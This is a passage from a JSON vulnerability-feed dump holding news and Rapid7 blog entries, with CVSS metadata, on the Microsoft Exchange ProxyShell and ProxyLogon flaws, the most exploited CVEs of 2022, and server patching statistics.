"THN:802C6445DD27FFC7978D22CC3182AD58", "href": "https://thehackernews.com/2022/09/us-charges-3-iranian-hackers-and.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:14", "description": "[](<https://thehackernews.com/images/-4bW5O7qDy3g/YRY939zQM4I/AAAAAAAADho/RUV3iIGj654Ml8xKhGo8MXIEWtGwsL1ywCLcBGAsYHQ/s0/ms-exchnage.jpg>)\n\nThreat actors are actively carrying out opportunistic [scanning](<https://twitter.com/bad_packets/status/1425598895569006594>) and [exploitation](<https://twitter.com/GossiTheDog/status/1425844380376735746>) of Exchange servers using a new exploit chain leveraging a trio of flaws affecting on-premises installations, making them the latest set of bugs after ProxyLogon vulnerabilities were exploited en masse at the start of the year.\n\nThe remote code execution flaws have been collectively dubbed \"ProxyShell.\" At least 30,000 machines are affected by the vulnerabilities, [according](<https://isc.sans.edu/diary/27732>) to a Shodan scan performed by Jan Kopriva of SANS Internet Storm Center.\n\n\"Started to see in the wild exploit attempts against our honeypot infrastructure for the Exchange ProxyShell vulnerabilities,\" NCC Group's Richard Warren [tweeted](<https://twitter.com/buffaloverflow/status/1425831100157349890>), noting that one of the intrusions resulted in the deployment of a \"C# aspx webshell in the /aspnet_client/ directory.\"\n\nPatched in early March 2021, [ProxyLogon](<https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/>) is the moniker for CVE-2021-26855, a server-side request forgery vulnerability in Exchange Server that permits an attacker to take control of a vulnerable server as an administrator, and which can be chained with another post-authentication arbitrary-file-write vulnerability, CVE-2021-27065, to achieve code execution.\n\nThe vulnerabilities came to light after Microsoft [spilled the beans](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) on a Beijing-sponsored hacking operation that leveraged the weaknesses to strike entities in the U.S. for purposes of exfiltrating information in what the company described as limited and targeted attacks.\n\nSince then, the Windows maker has fixed six more flaws in its mail server component, two of which are called [ProxyOracle](<https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-2-ProxyOracle/>), which enables an adversary to recover the user's password in plaintext format.\n\nThree other issues \u2014 known as ProxyShell \u2014 could be abused to bypass ACL controls, elevate privileges on Exchange PowerShell backend, effectively authenticating the attacker and allowing for remote code execution. Microsoft noted that both CVE-2021-34473 and CVE-2021-34523 were inadvertently omitted from publication until July.\n\n**ProxyLogon:**\n\n * [**CVE-2021-26855**](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on March 2)\n * [**CVE-2021-26857**](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on March 2)\n * [**CVE-2021-26858**](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on March 2)\n * [**CVE-2021-27065**](<https://thehackernews.com/2021/03/microsoft-issues-security-patches-for.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on March 2)\n\n**ProxyOracle:**\n\n * [**CVE-2021-31195**](<https://thehackernews.com/2021/05/latest-microsoft-windows-updates-patch.html>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on May 11)\n * [**CVE-2021-31196**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on July 13)\n\n**ProxyShell:**\n\n * [**CVE-2021-31207**](<https://thehackernews.com/2021/05/latest-microsoft-windows-updates-patch.html>) \\- Microsoft Exchange Server Security Feature Bypass Vulnerability (Patched on May 11)\n * [**CVE-2021-34473**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) \\- Microsoft Exchange Server Remote Code Execution Vulnerability (Patched on April 13, advisory released on July 13)\n * [**CVE-2021-34523**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) \\- Microsoft Exchange Server Elevation of Privilege Vulnerability (Patched on April 13, advisory released on July 13)\n\n**Other:**\n\n * [**CVE-2021-33768**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33768>) \\- Microsoft Exchange Server Elevation of Privilege Vulnerability (Patched on July 13)\n\nOriginally demonstrated at the [Pwn2Own hacking competition](<https://thehackernews.com/2021/04/windows-ubuntu-zoom-safari-ms-exchange.html>) this April, technical details of the ProxyShell attack chain were disclosed by DEVCORE researcher Orange Tsai at the [Black Hat USA 2021](<https://www.blackhat.com/us-21/briefings/schedule/index.html#proxylogon-is-just-the-tip-of-the-iceberg-a-new-attack-surface-on-microsoft-exchange-server-23442>) and [DEF CON](<https://www.youtube.com/watch?v=5mqid-7zp8k>) security conferences last week. To prevent exploitation attempts, organizations are highly recommended to install updates released by Microsoft.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-13T09:46:00", "type": "thn", "title": "Hackers Actively Searching for Unpatched Microsoft Exchange Servers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-31195", "CVE-2021-31196", "CVE-2021-31207", "CVE-2021-33768", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-13T09:46:09", "id": "THN:FA40708E1565483D14F9A31FC019FCE1", "href": "https://thehackernews.com/2021/08/hackers-actively-searching-for.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-04T08:27:53", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjoBeYlJXEHlGr6rAJniL2XD4Ma4efotehIvHqoBelnDjYCGmj8xiT_Ywd1KZ4ib2iPE9jPLa0Pm_4yinuBV4dFS1DU6tYFmtWc8MCdQ0JAX1qTBXY6Airy55EM3rJtfcw5XqbClVD4K7dX5ocGZfUZHAalQRMYv6Ujka3fZWMc6HDW2AIMvXuZB6SsXGos/s728-e365/flaws.jpg>)\n\nA four-year-old critical security flaw impacting Fortinet FortiOS SSL has emerged as one of the most routinely and frequently exploited vulnerabilities in 2022.\n\n\"In 2022, malicious cyber actors exploited older software vulnerabilities more frequently than recently disclosed vulnerabilities and targeted unpatched, internet-facing systems,\" cybersecurity and intelligence agencies from the Five Eyes nations, which comprises Australia, Canada, New Zealand, the U.K., and the U.S., [said](<https://www.cisa.gov/news-events/alerts/2023/08/03/cisa-nsa-fbi-and-international-partners-release-joint-csa-top-routinely-exploited-vulnerabilities>) in a joint alert.\n\nThe continued weaponization of [CVE-2018-13379](<https://thehackernews.com/2021/04/hackers-exploit-unpatched-vpns-to.html>), which was also one among the most exploited bugs in [2020](<https://thehackernews.com/2021/07/top-30-critical-security.html>) and [2021](<https://thehackernews.com/2022/04/us-cybersecurity-agency-lists-2021s-top.html>), suggests a failure on the part of organizations to apply patches in a timely manner, the authorities said.\n\n\"Malicious cyber actors likely prioritize developing exploits for severe and globally prevalent CVEs,\" according to the advisory. \"While sophisticated actors also develop tools to exploit other vulnerabilities, developing exploits for critical, wide-spread, and publicly known vulnerabilities gives actors low-cost, high-impact tools they can use for several years.\"\n\n[](<https://thn.news/edWGl41h> \"Cybersecurity\" )\n\n[CVE-2018-13379](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>) refers to a path traversal defect in the FortiOS SSL VPN web portal that could allow an unauthenticated attacker to download FortiOS system files through specially crafted HTTP resource requests.\n\nSome of other widely exploited flaws include:\n\n * [CVE-2021-34473, CVE-2021-31207, and CVE-2021-34523](<https://thehackernews.com/2021/11/hackers-exploiting-proxylogon-and.html>) (ProxyShell)\n * [CVE-2021-40539](<https://thehackernews.com/2021/09/cisa-warns-of-actively-exploited-zoho.html>) (Unauthenticated remote code execution in Zoho ManageEngine ADSelfService Plus)\n * [CVE-2021-26084](<https://thehackernews.com/2021/09/atlassian-confluence-rce-flaw-abused-in.html>) (Unauthenticated remote code execution in Atlassian Confluence Server and Data Center)\n * [CVE-2021-44228](<https://thehackernews.com/2021/12/extremely-critical-log4j-vulnerability.html>) (Log4Shell)\n * [CVE-2022-22954](<https://thehackernews.com/2022/05/vmware-releases-patches-for-new.html>) (Remote code execution in VMware Workspace ONE Access and Identity Manager)\n * [CVE-2022-22960](<https://thehackernews.com/2022/05/vmware-releases-patches-for-new.html>) (Local privilege escalation vulnerability in VMware Workspace ONE Access, Identity Manager, and vRealize Automation)\n * [CVE-2022-1388](<https://thehackernews.com/2022/05/cisa-urges-organizations-to-patch.html>) (Unauthenticated remote code execution in F5 BIG-IP)\n * [CVE-2022-30190](<https://thehackernews.com/2022/05/microsoft-releases-workarounds-for.html>) (Follina)\n * [CVE-2022-26134](<https://thehackernews.com/2022/06/atlassian-releases-patch-for-confluence.html>) (Unauthenticated remote code execution in Atlassian Confluence Server and Data Center)\n\n\"Attackers generally see the most success exploiting known vulnerabilities within the first two years of public disclosure and likely target their exploits to maximize impact, emphasizing the benefit of organizations applying security updates promptly,\" the U.K.'s National Cyber Security Centre (NCSC) [said](<https://www.ncsc.gov.uk/news/ncsc-allies-reveal-2022-common-exploited-vulnerabilities>).\n\n\"Timely patching reduces the effectiveness of known, exploitable vulnerabilities, possibly decreasing the pace of malicious cyber actor operations and forcing pursuit of more costly and time-consuming methods (such as developing zero-day exploits or conducting software supply chain operations),\" the agencies noted.\n\n \n\n\nFound this article interesting? Follow us on [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-08-04T07:02:00", "type": "thn", "title": "Major Cybersecurity Agencies Collaborate to Unveil 2022's Most Exploited Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2021-26084", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-40539", "CVE-2021-44228", "CVE-2022-1388", "CVE-2022-22954", "CVE-2022-22960", "CVE-2022-26134", "CVE-2022-30190"], "modified": "2023-08-04T07:02:32", "id": "THN:75A32CF309184E2A99DA7B43EFBFA8E7", "href": "https://thehackernews.com/2023/08/major-cybersecurity-agencies.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "rapid7blog": [{"lastseen": "2021-10-06T15:02:24", "description": "\n\nIf you've been keeping tabs on the state of vulnerabilities, you've probably noticed that Microsoft Exchange has been in the news more than usual lately. Back in March 2021, Microsoft [acknowledged a series of threats](<https://www.rapid7.com/blog/post/2021/03/03/mass-exploitation-of-exchange-server-zero-day-cves-what-you-need-to-know/>) exploiting zero-day CVEs in on-premises instances of Exchange Server. Since then, several related exploit chains targeting Exchange have [continued to be exploited in the wild](<https://www.rapid7.com/blog/post/2021/08/12/proxyshell-more-widespread-exploitation-of-microsoft-exchange-servers/>).\n\nMicrosoft [quickly](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) [released](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) [patches](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207>) to help security teams keep attackers out of their Exchange environments. So, what does the state of patching look like today among organizations running impacted instances of Exchange?\n\nThe answer is more mixed \u2014 and more troubling \u2014 than you'd expect.\n\n## What is Exchange, and why should you care?\n\nExchange is a popular email and messaging service that runs on Windows Server operating systems, providing email and calendaring services to tens of thousands of organizations. It also integrates with unified messaging, video chat, and phone services. That makes Exchange an all-in-one messaging service that can handle virtually all communication streams for an enterprise customer.\n\nAn organization's Exchange infrastructure can contain copious amounts of sensitive business and customer information in the form of emails and a type of shared mailbox called Public Folders. This is one of the reasons why Exchange Server vulnerabilities pose such a significant threat. Once compromised, Exchange's search mechanisms can make this data easy to find for attackers, and a robust rules engine means attackers can create hard-to-find automation that forwards data out of the organization.\n\nAn attacker who manages to get into an organization's Exchange Server could gain visibility into their Active Directory or even compromise it. They could also steal credentials and impersonate an authentic user, making phishing and other attempts at fraud more likely to land with targeted victims.\n\n## Sizing up the threats\n\nThe credit for discovering this recent family of Exchange Server vulnerabilities goes primarily to security researcher Orange Tsai, who overviewed them in an August 2021 [Black Hat talk](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>). He cited 8 vulnerabilities, which resulted in 3 exploit chains:\n\n * ****ProxyLogon:**** This vulnerability could allow attackers to use pre-authentication server-side request forgery (SSRF) plus a post-authentication arbitrary file write, resulting in remote code execution (RCE) on the server.\n * ****ProxyOracle:**** With a cookie from an authenticated user (obtained through a reflected XSS link), a Padding Oracle attack could provide an intruder with plain-text credentials for the user.\n * ****ProxyShell: ****Using a pre-authentication access control list (ACL) bypass, a PrivEsc (not going up to become an administrator but down to a user mailbox), and a post-authentication arbitrary file write, this exploit chain could allow attackers to execute an RCE attack.\n\nGiven the sensitivity of Exchange Server data and the availability of [patches and resources from Microsoft](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>) to help defend against these threats, you'd think adoption of these patches would be almost universal. But unfortunately, the picture of patching for this family of vulnerabilities is still woefully incomplete.\n\n## A patchwork of patch statuses\n\nIn Rapid7's OCTO team, we keep tabs on the exposure for major vulnerabilities like these, to keep our customers and the security community apprised of where these threats stand and if they might be at risk. To get a good look at the patch status among Exchange Servers for this family of attack chains, we had to develop new techniques for fingerprinting Exchange versions so we could determine which specific hotfixes had been applied.\n\nWith a few tweaks, we were able to adjust our measurement approach to get a clear enough view that we can draw some strong conclusions about the patch statuses of Exchange Servers on the public-facing internet. Here's what we found:\n\n * Out of the 306,552 Exchange OWA servers we observed, 222,145 \u2014 or 72.4% \u2014were running an impacted version of Exchange (this includes 2013, 2016, and 2019).\n * Of the impacted servers, 29.08% were still unpatched for the ProxyShell vulnerability, and 2.62% were partially patched. That makes 31.7% of servers that may still be vulnerable.\n\n\n\nTo put it another, starker way: 6 months after patches have been available for the ProxyLogon family of vulnerabilities, 1 in 3 impacted Exchange Servers are still susceptible to attacks using the ProxyShell method.\n\nWhen we sort this data by the Exchange Server versions that organizations are using, we see the uncertainty in patch status tends to cluster around specific versions, particularly 2013 Cumulative Update 23. \n\n\n\nWe also pulled the server header for these instances with the goal of using the version of IIS as a proxy indicator of what OS the servers may be running \u2014 and we found an alarmingly large proportion of instances that were running end-of-life servers and/or operating systems, for which Microsoft no longer issues patch updates.\n\n\n\nThat group includes the two bars on the left of this graph, which represent 2007 and 2010 Exchange Server versions: 75,300 instances of 2010 and 8,648 instances of 2007 are still running out there on the internet, roughly 27% of all instances we observed. Organizations still operating these products can count themselves lucky that ProxyShell and ProxyLogon don't impact these older versions of Exchange (as far as we know). But that doesn't mean those companies are out of the woods \u2014 if you still haven't replaced Exchange Server 2010, you're probably also doing other risky things in your environment.\n\nLooking ahead, the next group of products that will go end-of-life are the Windows Server 2012 and 2012 R2 operating systems, represented in green and yellow, respectively, within the graph. That means 92,641 instances of Exchange \u2014 nearly a third of all Exchange Servers on the internet \u2014 will be running unsupported operating systems for which Microsoft isn't obligated to provide security fixes after they go end-of-life in 2023.\n\n## What you can do now\n\nIt's a matter of when, not if, we encounter the next family of vulnerabilities that lets attackers have a field day with huge sets of sensitive data like those contained in Exchange Servers. And for companies that haven't yet patched, ProxyShell and its related attack chains are still a real threat. Here's what you can do now to proactively mitigate these vulnerabilities.\n\n * First things first: If your organization is running one of the 1 in 3 affected instances that are vulnerable due to being unpatched, [install the appropriate patch](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>) right away.\n * Stay current with patch updates as a routine priority. It is possible to build Exchange environments with near-100% uptimes, so there isn't much argument to be made for foregoing critical patches in order to prevent production interruptions.\n * If you're running a version of Exchange Server or Windows OS that will soon go end-of-life, start planning for how you'll update to products that Microsoft will continue to support with patches. This way, you'll be able to quickly and efficiently mitigate vulnerabilities that arise, before attackers take advantage of them.\n\nIf you're already a Rapid7 customer, there's good news: [InsightVM](<https://www.rapid7.com/products/insightvm/>) already has authenticated scans to detect these vulnerabilities, so users of the product should already have a good sense of where their Exchange environments stand. On the offensive side, your red teams and penetration testers can highlight the risk of running vulnerable Exchange instances with modules exercising [ProxyLogon](<https://www.rapid7.com/db/modules/exploit/windows/http/exchange_proxylogon_rce/>) and [ProxyShell](<https://www.rapid7.com/db/modules/exploit/windows/http/exchange_proxyshell_rce/>). And as our research team continues to develop techniques for getting this kind of detailed information about exposures, we ensure our products know about those methods so they can more effectively help customers understand their vulnerabilities.\n\nBut for all of us, these vulnerabilities are a reminder that security requires a proactive mindset \u2014 and failing to cover the basics like upgrading to supported products and installing security updates leaves organizations at risk when a particularly thorny set of attack chains rears its head.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-06T14:07:12", "type": "rapid7blog", "title": "For Microsoft Exchange Server Vulnerabilities, Patching Remains Patchy", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-10-06T14:07:12", "id": "RAPID7BLOG:D47FB88807F2041B8820156ECFB85720", "href": "https://blog.rapid7.com/2021/10/06/for-microsoft-exchange-server-vulnerabilities-patching-remains-patchy/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-25T18:57:37", "description": "\n\n_This attack is ongoing. See the `Updates` section at the end of this post for new information as it comes to light. Rapid7 also has a [technical analysis of the ProxyShell exploit chain](<https://attackerkb.com/topics/xbr3tcCFT3/proxyshell-exploit-chain/rapid7-analysis>) in AttackerKB._\n\nOn August 5, 2021, in [a Black Hat USA talk](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>), DEVCORE researcher Orange Tsai shared information on [several exploit chains](<https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html>) targeting on-premises installations of Microsoft Exchange Server. Among the exploit chains presented were ProxyLogon, which was [exploited en masse in February and March](<https://www.rapid7.com/blog/post/2021/03/03/mass-exploitation-of-exchange-server-zero-day-cves-what-you-need-to-know/>) of 2021, and ProxyShell, an attack chain originally demonstrated at the Pwn2Own hacking competition this past April. As of August 12, 2021, multiple researchers have detected widespread opportunistic [scanning](<https://twitter.com/bad_packets/status/1425598895569006594>) and [exploitation](<https://twitter.com/GossiTheDog/status/1425844380376735746>) of Exchange servers using the ProxyShell chain.\n\nAccording to Orange Tsai's demonstration, the ProxyShell exploit chain allows a remote unauthenticated attacker to execute arbitrary commands on a vulnerable on-premises instance of Microsoft Exchange Server via port 443. The exploit is comprised of three discrete CVEs:\n\n * [CVE-2021-34473](<https://www.rapid7.com/db/vulnerabilities/msft-cve-2021-34473/>), a remote code execution vulnerability [patched April 13, 2021](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>)\n * [CVE-2021-34523](<https://www.rapid7.com/db/vulnerabilities/msft-cve-2021-34523/>), an elevation of privilege vulnerability [patched April 13, 2021](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>)\n * [CVE-2021-31207](<https://www.rapid7.com/db/vulnerabilities/msft-cve-2021-31207/>), a security feature bypass [patched May 11, 2021](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207>)\n\n_While CVE-2021-34473 and CVE-2021-34523 were patched in April, Microsoft\u2019s advisories note that they were inadvertently omitted from publication until July._\n\nWhen chained, these vulnerabilities allow the attacker to bypass ACL controls, send a request to a PowerShell back-end, and elevate privileges, effectively authenticating the attacker and allowing for remote code execution. Both public and private proof-of-concept exploits have been released as of August 18, 2021\u2014not surprising, since ProxyShell was first demonstrated more than four months ago at Pwn2Own. A number of [technical analyses](<https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/>) of the chain have also [been published](<https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1>). See Rapid7's exploit chain analysis [in AttackerKB](<https://attackerkb.com/topics/xbr3tcCFT3/proxyshell-exploit-chain/rapid7-analysis>).\n\nNotably, there has been confusion about which CVE is which across various advisories and research descriptions \u2014 Microsoft, for instance, describes CVE-2021-34473 as a remote code execution vulnerability, but [Orange Tsai\u2019s Black Hat slides](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>) list CVE-2021-34473 as the initial ACL bypass. Community researchers have also [expressed confusion](<https://twitter.com/GossiTheDog/status/1424791670076411905>) over CVE numbering across the ProxyShell chain, but ultimately, the takeaway is the same: Organizations that have not patched these vulnerabilities should do so on an emergency basis and invoke incident response protocols to look for indicators of compromise.\n\n## Affected products\n\nThe following versions of Exchange Server are vulnerable to all three ProxyShell CVEs:\n\n * Microsoft Exchange Server 2019 Cumulative Update 9\n * Microsoft Exchange Server 2019 Cumulative Update 8\n * Microsoft Exchange Server 2016 Cumulative Update 20\n * Microsoft Exchange Server 2016 Cumulative Update 19\n * Microsoft Exchange Server 2013 Cumulative Update 23\n\nOrganizations that rely on on-premises installations of Exchange Server and are not able to move to O365 should ensure that all Exchange instances are patched on a zero-day basis. In order to do this, it is vital that defenders keep up-to-date with quarterly Cumulative Updates, since Microsoft only releases security fixes for [the most recent Cumulative Update versions](<https://docs.microsoft.com/en-us/exchange/new-features/updates>).\n\nWhile ProxyShell and March\u2019s ProxyLogon exploit chain are the two attacks that have already resulted in widespread exploitation, they are not the only exploit chains targeting on-premises Exchange servers. Exchange continues to be valuable and accessible attack surface area for both sophisticated and run-of-the-mill threat actors, and we will certainly see additional widespread exploitation in the future.\n\nRead more from our emergent threat response team on [high-priority attack surface area](<https://www.rapid7.com/blog/post/2021/08/12/popular-attack-surfaces-august-2021-what-you-need-to-know/>), including Windows Print Spooler and Pulse Connect Secure VPNs.\n\n## Rapid7 customers\n\nInsightVM and Nexpose customers can assess their exposure to all three ProxyShell CVEs with authenticated vulnerability checks.\n\nThe following attacker behavior detection is available InsightIDR customers:\n\n * Suspicious Process - Process Spawned By Outlook Web Access\n\nThis detection will identify processes spawned by Microsoft IIS processes that have been configured to serve as Outlook Web Access web servers for Microsoft Exchange. Rogue processes being spawned may be an indication of a successful attack against these systems and has been observed targeted by various malicious actors.\n\nIf this detection fires in your environment, you should determine whether it is part of authorized administrator activity. Examine the parent process that spawned the command, and anything else that process may have spawned. If this activity is not benign or expected, consider rebuilding the host from a known, good source and having any possibly affected users change their passwords.\n\n## Updates\n\n**August 25, 2021:** Rapid7 estimates that there are over 84,000 Exchange servers that appear vulnerable to the ProxyShell attack chain. \n\n\n**August 23, 2021:** Multiple sources have now [reported](<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows>) that at least one ransomware gang (LockFile) is chaining ProxyShell with PetitPotam (CVE-2021-36942) to compromise Windows domain controllers. See [Rapid7's blog on PetitPotam](<https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/>) for patching and additional required mitigation advice.\n\n**August 21, 2021:** Rapid7's Managed Detection and Response (MDR) and Incident Response (IR) teams have noted a significant uptick in Exchange exploitation by multiple threat actors. Community researchers have also noted that attackers are exploiting the ProxyShell vulnerabilities to drop webshells and [spread ransomware](<https://doublepulsar.com/multiple-threat-actors-including-a-ransomware-gang-exploiting-exchange-proxyshell-vulnerabilities-c457b1655e9c>) on vulnerable targets.\n\nWe are monitoring for additional attacker behavior and will update this blog as further information comes to light.\n\n**August 16, 2021:** We have begun to see public proof-of-concept (PoC) code implementing the ProxyShell exploit chain. Exploitation is ongoing.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-12T21:08:43", "type": "rapid7blog", "title": "ProxyShell: More Widespread Exploitation of Microsoft Exchange Servers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-36942"], "modified": "2021-08-12T21:08:43", "id": "RAPID7BLOG:03B1EB65D8A7CFE486943E2472225BA1", "href": "https://blog.rapid7.com/2021/08/12/proxyshell-more-widespread-exploitation-of-microsoft-exchange-servers/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-20T20:19:12", "description": "## Anyone enjoy making chains?\n\n\n\nThe community is hard at work building chains to pull sessions out of vulnerable Exchange servers. This week Rapid7's own [wvu](<https://github.com/wvu-r7>) & [Spencer McIntyre](<https://github.com/zeroSteiner>) added a module that implements the ProxyShell exploit chain originally demonstrated by [Orange Tsai](<https://twitter.com/orange_8361>). The module also benefited from research and analysis by [Jang](<https://twitter.com/testanull>), [PeterJson](<https://twitter.com/peterjson>), [brandonshi123](<https://github.com/brandonshiyay>), and [mekhalleh (RAMELLA S\u00e9bastien)](<https://twitter.com/Mekhalleh>) to make it as simple as finding an email for an administrator of vulnerable version of exchange as the entrypoint to chain [CVE-2021-31207](<https://attackerkb.com/topics/5F0CGZWw61/cve-2021-31207?referrer=blog>), [CVE-2021-34523](<https://attackerkb.com/topics/RY7LpTmyCj/cve-2021-34523?referrer=blog>), & [CVE-2021-34473](<https://attackerkb.com/topics/pUK1MXLZkW/cve-2021-34473?referrer=blog>) 